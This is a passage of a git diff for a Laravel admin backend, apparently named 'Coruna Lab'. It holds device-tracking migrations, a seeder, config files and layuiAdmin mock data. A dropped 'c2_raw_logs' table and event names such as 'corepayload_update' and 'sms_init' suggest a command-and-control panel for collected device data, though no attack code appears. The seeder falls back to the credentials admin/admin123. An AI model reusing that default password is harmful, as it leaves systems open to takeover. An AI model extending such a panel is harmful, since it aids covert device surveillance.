DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->string('version', 64)->nullable()->after('name');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::create('device_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('event_name', 128)->nullable()->index();
|
||||
$table->string('desc', 512)->nullable();
|
||||
$table->json('context_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('device_events');
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->dropColumn('version');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->dropColumn('device_model');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Prefer real hardware model; clear event-name pollution from older ingest.
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
DB::table('devices')
|
||||
->whereIn('device_model', ['corepayload_update', 'sms_version', 'sms_common', 'sms_init'])
|
||||
->orWhere('device_model', 'like', 'sms_%')
|
||||
->orWhere('device_model', 'like', '%_update')
|
||||
->update(['device_model' => null]);
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET created_at = COALESCE(first_seen_at, created_at, last_seen_at, NOW())');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET updated_at = COALESCE(last_seen_at, updated_at, first_seen_at, created_at, NOW())');
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$drop = [];
|
||||
foreach (['model', 'first_seen_at', 'last_seen_at'] as $col) {
|
||||
if (Schema::hasColumn('devices', $col)) {
|
||||
$drop[] = $col;
|
||||
}
|
||||
}
|
||||
if ($drop !== []) {
|
||||
$table->dropColumn($drop);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'model')) {
|
||||
$table->string('model', 128)->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
$table->timestamp('first_seen_at')->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
$table->timestamp('last_seen_at')->nullable()->after('first_seen_at');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('model')->whereNotNull('device_model')->update([
|
||||
'model' => DB::raw('device_model'),
|
||||
]);
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET first_seen_at = created_at');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET last_seen_at = updated_at');
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/** Tables unused by Coruna Lab (file logs / file session-cache / sync queue / admins-only auth). */
|
||||
private array $tables = [
|
||||
'c2_raw_logs',
|
||||
'users',
|
||||
'password_reset_tokens',
|
||||
'sessions',
|
||||
'cache',
|
||||
'cache_locks',
|
||||
'jobs',
|
||||
'job_batches',
|
||||
'failed_jobs',
|
||||
];
|
||||
|
||||
public function up(): void
|
||||
{
|
||||
foreach ($this->tables as $table) {
|
||||
Schema::dropIfExists($table);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
// Intentionally empty — Laravel default scaffolding can be re-migrated if needed.
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->dropColumn('profile_json');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->json('profile_json')->nullable()->after('user_agent');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class AdminSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
Admin::query()->updateOrCreate(
|
||||
['username' => env('ADMIN_USERNAME', 'admin')],
|
||||
['password' => env('ADMIN_PASSWORD', 'admin123')]
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class DatabaseSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
$this->call([
|
||||
AdminSeeder::class,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"$schema": "https://www.schemastore.org/package.json",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"build": "vite build",
|
||||
"dev": "vite"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/vite": "^4.0.0",
|
||||
"axios": "^1.11.0",
|
||||
"concurrently": "^9.0.1",
|
||||
"laravel-vite-plugin": "^2.0.0",
|
||||
"tailwindcss": "^4.0.0",
|
||||
"vite": "^7.0.7"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
|
||||
bootstrap="vendor/autoload.php"
|
||||
colors="true"
|
||||
>
|
||||
<testsuites>
|
||||
<testsuite name="Unit">
|
||||
<directory>tests/Unit</directory>
|
||||
</testsuite>
|
||||
<testsuite name="Feature">
|
||||
<directory>tests/Feature</directory>
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
<source>
|
||||
<include>
|
||||
<directory>app</directory>
|
||||
</include>
|
||||
</source>
|
||||
<php>
|
||||
<env name="APP_ENV" value="testing"/>
|
||||
<env name="APP_MAINTENANCE_DRIVER" value="file"/>
|
||||
<env name="BCRYPT_ROUNDS" value="4"/>
|
||||
<env name="BROADCAST_CONNECTION" value="null"/>
|
||||
<env name="CACHE_STORE" value="array"/>
|
||||
<env name="DB_CONNECTION" value="sqlite"/>
|
||||
<env name="DB_DATABASE" value=":memory:"/>
|
||||
<env name="DB_URL" value=""/>
|
||||
<env name="MAIL_MAILER" value="array"/>
|
||||
<env name="QUEUE_CONNECTION" value="sync"/>
|
||||
<env name="SESSION_DRIVER" value="array"/>
|
||||
<env name="PULSE_ENABLED" value="false"/>
|
||||
<env name="TELESCOPE_ENABLED" value="false"/>
|
||||
<env name="NIGHTWATCH_ENABLED" value="false"/>
|
||||
</php>
|
||||
</phpunit>
|
||||
@@ -0,0 +1,25 @@
|
||||
<IfModule mod_rewrite.c>
|
||||
<IfModule mod_negotiation.c>
|
||||
Options -MultiViews -Indexes
|
||||
</IfModule>
|
||||
|
||||
RewriteEngine On
|
||||
|
||||
# Handle Authorization Header
|
||||
RewriteCond %{HTTP:Authorization} .
|
||||
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
|
||||
|
||||
# Handle X-XSRF-Token Header
|
||||
RewriteCond %{HTTP:x-xsrf-token} .
|
||||
RewriteRule .* - [E=HTTP_X_XSRF_TOKEN:%{HTTP:X-XSRF-Token}]
|
||||
|
||||
# Redirect Trailing Slashes If Not A Folder...
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_URI} (.+)/$
|
||||
RewriteRule ^ %1 [L,R=301]
|
||||
|
||||
# Send Requests To Front Controller...
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteRule ^ index.php [L]
|
||||
</IfModule>
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
define('LARAVEL_START', microtime(true));
|
||||
|
||||
// Determine if the application is in maintenance mode...
|
||||
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
|
||||
require $maintenance;
|
||||
}
|
||||
|
||||
// Register the Composer autoloader...
|
||||
require __DIR__.'/../vendor/autoload.php';
|
||||
|
||||
// Bootstrap Laravel and handle the request...
|
||||
/** @var Application $app */
|
||||
$app = require_once __DIR__.'/../bootstrap/app.php';
|
||||
|
||||
$app->handleRequest(Request::capture());
|
||||
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,2 @@
|
||||
User-agent: *
|
||||
Disallow:
|
||||
@@ -0,0 +1,129 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin iframe版全局配置
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL(layui付费产品协议)
|
||||
|
||||
*/
|
||||
|
||||
layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){
|
||||
exports('setter', {
|
||||
container: 'LAY_app' //容器ID
|
||||
,base: layui.cache.base //记录静态资源所在路径
|
||||
,views: layui.cache.base + 'tpl/' //动态模板所在目录
|
||||
,entry: 'index' //默认视图文件名
|
||||
,engine: '.html' //视图文件后缀名
|
||||
,pageTabs: true //是否开启页面选项卡功能。iframe版推荐开启
|
||||
|
||||
,name: 'layuiAdmin'
|
||||
,tableName: 'layuiAdmin' //本地存储表名
|
||||
,MOD_NAME: 'admin' //模块事件名
|
||||
|
||||
,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息
|
||||
|
||||
//自定义请求字段
|
||||
,request: {
|
||||
tokenName: false //自动携带 token 的字段名(如:access_token)。可设置 false 不携带。
|
||||
}
|
||||
|
||||
//自定义响应字段
|
||||
,response: {
|
||||
statusName: 'code' //数据状态的字段名称
|
||||
,statusCode: {
|
||||
ok: 0 //数据状态一切正常的状态码
|
||||
,logout: 1001 //登录状态失效的状态码
|
||||
}
|
||||
,msgName: 'msg' //状态信息的字段名称
|
||||
,dataName: 'data' //数据详情的字段名称
|
||||
}
|
||||
|
||||
//扩展的第三方模块
|
||||
,extend: [
|
||||
'echarts', //echarts 核心包
|
||||
'echartsTheme' //echarts 主题
|
||||
]
|
||||
|
||||
//主题配置
|
||||
,theme: {
|
||||
//内置主题配色方案
|
||||
color: [{
|
||||
main: '#20222A' //主题色
|
||||
,selected: '#009688' //选中色
|
||||
,alias: 'default' //默认别名
|
||||
},{
|
||||
main: '#03152A'
|
||||
,selected: '#3B91FF'
|
||||
,alias: 'dark-blue' //藏蓝
|
||||
},{
|
||||
main: '#2E241B'
|
||||
,selected: '#A48566'
|
||||
,alias: 'coffee' //咖啡
|
||||
},{
|
||||
main: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,alias: 'purple-red' //紫红
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#1E9FFF'
|
||||
,selected: '#1E9FFF'
|
||||
,alias: 'ocean' //海洋
|
||||
},{
|
||||
main: '#3A3D49'
|
||||
,logo: '#2F9688'
|
||||
,selected: '#5FB878'
|
||||
,alias: 'green' //墨绿
|
||||
},{
|
||||
main: '#20222A'
|
||||
,logo: '#F78400'
|
||||
,selected: '#F78400'
|
||||
,alias: 'red' //橙色
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#AA3130'
|
||||
,selected: '#AA3130'
|
||||
,alias: 'fashion-red' //时尚红
|
||||
},{
|
||||
main: '#24262F'
|
||||
,logo: '#3A3D49'
|
||||
,selected: '#009688'
|
||||
,alias: 'classic-black' //经典黑
|
||||
},{
|
||||
logo: '#226A62'
|
||||
,header: '#2F9688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#0085E8'
|
||||
,selected: '#1E9FFF'
|
||||
,header: '#1E9FFF'
|
||||
,alias: 'ocean-header' //海洋头
|
||||
},{
|
||||
header: '#393D49'
|
||||
,alias: 'classic-black-header' //经典黑头
|
||||
},{
|
||||
main: '#50314F'
|
||||
,logo: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,header: '#50314F'
|
||||
,alias: 'purple-red-header' //紫红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#28333E'
|
||||
,selected: '#AA3130'
|
||||
,header: '#AA3130'
|
||||
,alias: 'fashion-red-header' //时尚红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#009688'
|
||||
,selected: '#009688'
|
||||
,header: '#009688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
}]
|
||||
|
||||
//初始的颜色索引,对应上面的配色方案数组索引
|
||||
//如果本地已经有主题色记录,则以本地记录为优先,除非请求本地数据(localStorage)
|
||||
,initColorIndex: 0
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"prograss": "开会"
|
||||
,"time": "一小时"
|
||||
,"complete": "已完成"
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"prograss": "项目开发"
|
||||
,"time": "两小时"
|
||||
,"complete": "进行中"
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"prograss": "陪吃饭"
|
||||
,"time": "一小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改小bug"
|
||||
,"time": "半小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改大bug"
|
||||
,"time": "两小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改小bug"
|
||||
,"time": "半小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改大bug"
|
||||
,"time": "两小时"
|
||||
,"complete": "未完成"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": 111
|
||||
,"title": "社区开始接受 “赞助商广告” 投放"
|
||||
,"username": "贤心"
|
||||
,"channel": "公告"
|
||||
,"href": "http://fly.layui.com/jie/15697/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 222
|
||||
,"title": "layui 一周年"
|
||||
,"username": "猫吃"
|
||||
,"channel": "讨论"
|
||||
,"href": "http://fly.layui.com/jie/16622/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "四个月的前端"
|
||||
,"username": "fd"
|
||||
,"channel": "分享"
|
||||
,"href": "http://fly.layui.com/jie/16651/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"keywords": "贤心是男是女"
|
||||
,"frequency": 8520
|
||||
,"userNums": 2216
|
||||
},{
|
||||
"keywords": "Java程序员能找到女朋友吗"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "此表格是静态模拟数据"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"reviewers": "赵"
|
||||
,"content": "我又爱上编程了"
|
||||
,"commtime": 20160312
|
||||
},{
|
||||
"id": "002"
|
||||
,"reviewers": "钱"
|
||||
,"content": "女生出门要小心"
|
||||
,"commtime": 20160821
|
||||
},{
|
||||
"id": "003"
|
||||
,"reviewers": "孙"
|
||||
,"content": "框架就用layui"
|
||||
,"commtime": 20161212
|
||||
},{
|
||||
"id": "004"
|
||||
,"reviewers": "李"
|
||||
,"content": "心姐么么哒"
|
||||
,"commtime": 20170311
|
||||
},{
|
||||
"id": "005"
|
||||
,"reviewers": "周"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"commtime": 20170612
|
||||
},{
|
||||
"id": "006"
|
||||
,"reviewers": "吴"
|
||||
,"content": "我又爱上编程了"
|
||||
,"commtime": 20171112
|
||||
},{
|
||||
"id": "007"
|
||||
,"reviewers": "郑"
|
||||
,"content": "女生出门要小心"
|
||||
,"commtime": 20171230
|
||||
},{
|
||||
"id": "008"
|
||||
,"reviewers": "王"
|
||||
,"content": "框架就用layui"
|
||||
,"commtime": 20180112
|
||||
},{
|
||||
"id": "009"
|
||||
,"reviewers": "冯"
|
||||
,"content": "心姐么么哒"
|
||||
,"commtime": 20180221
|
||||
},{
|
||||
"id": "010"
|
||||
,"reviewers": "陈"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"commtime": 20180312
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第一季"
|
||||
,"author": "作者-1"
|
||||
,"content": "通过中华美食的多个侧面,来展现食物给中国人生活带来的仪式、伦理等方面的文化;见识中国特色食材以及与食物相关、构成中国美食特有气质的一系列元素;了解中华饮食文化的精致和源远流长"
|
||||
,"uploadtime": 20121204
|
||||
,"status": true
|
||||
},{
|
||||
"id": "002"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第二季"
|
||||
,"author": "作者-2"
|
||||
,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感。"
|
||||
,"uploadtime": 20141204
|
||||
,"status": false
|
||||
},{
|
||||
"id": "003"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第三季"
|
||||
,"author": "作者-3"
|
||||
,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感将世界美食和中国美食进行比照。春耕、夏耘、秋收、冬藏,天人合一的东方哲学让中国饮食依时而变,智慧灵动,中医营养摄生学说创造了食材运用的新天地,儒家人伦道德则把心意和家的味道端上我们的餐桌。淘洗历史,糅合时光,一代又一代的中国人在天地间升起烟火,用至精至诚的心意烹制食物,一餐一食之间,中国人展示个性,确认归属,构建文明,理解和把握着世界的奥妙。"
|
||||
,"uploadtime": 20161204
|
||||
,"status": false
|
||||
},{
|
||||
"id": "004"
|
||||
,"label": "历史"
|
||||
,"title": "诸葛亮骂王朗"
|
||||
,"author": "作者-1"
|
||||
,"content": "皓首匹夫!苍髯老贼!你即将命归于九泉之下,届时,有何面目见汉朝二十四代先帝?二臣贼子!你枉活七十有六,一生未立寸功,只会摇唇舞舌,助曹为虐!一条断脊之犬,还敢在我军阵前狺狺狂吠!我从未见过如此厚颜无耻之人!!!"
|
||||
,"uploadtime": 20180201
|
||||
,"status": false
|
||||
},{
|
||||
"id": "005"
|
||||
,"label": "新闻"
|
||||
,"title": "新时代特色中国梦"
|
||||
,"author": "作者-1"
|
||||
,"content": "今天,我们比历史上任何时期都更接近、更有信心和能力实现中华民族伟大复兴的目标。新时代已经到来,蓝图已经绘就,中国梦离我们越来越近了。"
|
||||
,"uploadtime": 20180512
|
||||
,"status": false
|
||||
},{
|
||||
"id": "006"
|
||||
,"label": "新闻"
|
||||
,"title": "新时代特色中国梦"
|
||||
,"author": "作者-2"
|
||||
,"content": "梦想不会主动走向我们,只有我们去主动实现梦想。行百里者半九十。虽然中国梦离我们越来越近了,但是要实现中国梦,还要靠我们以永不懈怠的精神状态、功在不舍的坚强意志,不忘初心,继续前进。"
|
||||
,"uploadtime": 20180514
|
||||
,"status": false
|
||||
},{
|
||||
"id": "007"
|
||||
,"label": "体育"
|
||||
,"title": "皇马大战利物浦"
|
||||
,"author": "作者-3"
|
||||
,"content": "对欧足联而言,更想要产生个新冠军。连续三年都是同一个冠军队,这会毁掉欧冠……”格里姆表态,“皇马有梦幻般的阵容,但从促进竞争的角度而言,另一支球队获胜会更好。"
|
||||
,"uploadtime": 20180515
|
||||
,"status": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"tags": "美食"
|
||||
},{
|
||||
"id": "002"
|
||||
,"tags": "新闻"
|
||||
},{
|
||||
"id": "003"
|
||||
,"tags": "八卦"
|
||||
},{
|
||||
"id": "004"
|
||||
,"tags": "体育"
|
||||
},{
|
||||
"id": "005"
|
||||
,"tags": "音乐"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "1001"
|
||||
,"poster": "赵"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "为什么花儿这么么红"
|
||||
,"posttime": 20160805
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1002"
|
||||
,"poster": "钱"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "喜欢胡歌,赞赞赞"
|
||||
,"posttime": 20161205
|
||||
,"top": true
|
||||
},{
|
||||
"id": "1003"
|
||||
,"poster": "孙"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "明天就要考试了,好紧张,求保佑"
|
||||
,"posttime": 20170405
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1004"
|
||||
,"poster": "李"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"posttime": 20171005
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1005"
|
||||
,"poster": "周"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "女追男隔层纱,是不是真的"
|
||||
,"posttime": 20180205
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1006"
|
||||
,"poster": "吴"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "竟然有人跳楼,年轻人想不开啊!"
|
||||
,"posttime": 20180512
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1007"
|
||||
,"poster": "郑"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "大家一定不能学那个年轻人,珍爱生命啊"
|
||||
,"posttime": 20180512
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1008"
|
||||
,"poster": "王"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "想知道南昌哪里有好吃的西安肉夹馍"
|
||||
,"posttime": 20180514
|
||||
,"top": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"replyer": "吴"
|
||||
,"cardid": "1002"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "有眼光,我也喜欢胡歌!"
|
||||
,"replytime": 20161205
|
||||
},{
|
||||
"id": "002"
|
||||
,"replyer": "郑"
|
||||
,"cardid": "1002"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "同上同上。"
|
||||
,"replytime": 20161205
|
||||
},{
|
||||
"id": "003"
|
||||
,"replyer": "王"
|
||||
,"cardid": "1003"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "能过一定过,不能过紧张也没用"
|
||||
,"replytime": 20170405
|
||||
},{
|
||||
"id": "004"
|
||||
,"replyer": "冯"
|
||||
,"cardid": "1001"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "可能因为你流鼻血了。"
|
||||
,"replytime": 20170405
|
||||
},{
|
||||
"id": "005"
|
||||
,"replyer": "陈"
|
||||
,"cardid": "1003"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "加油加油,看好你"
|
||||
,"replytime": 20170405
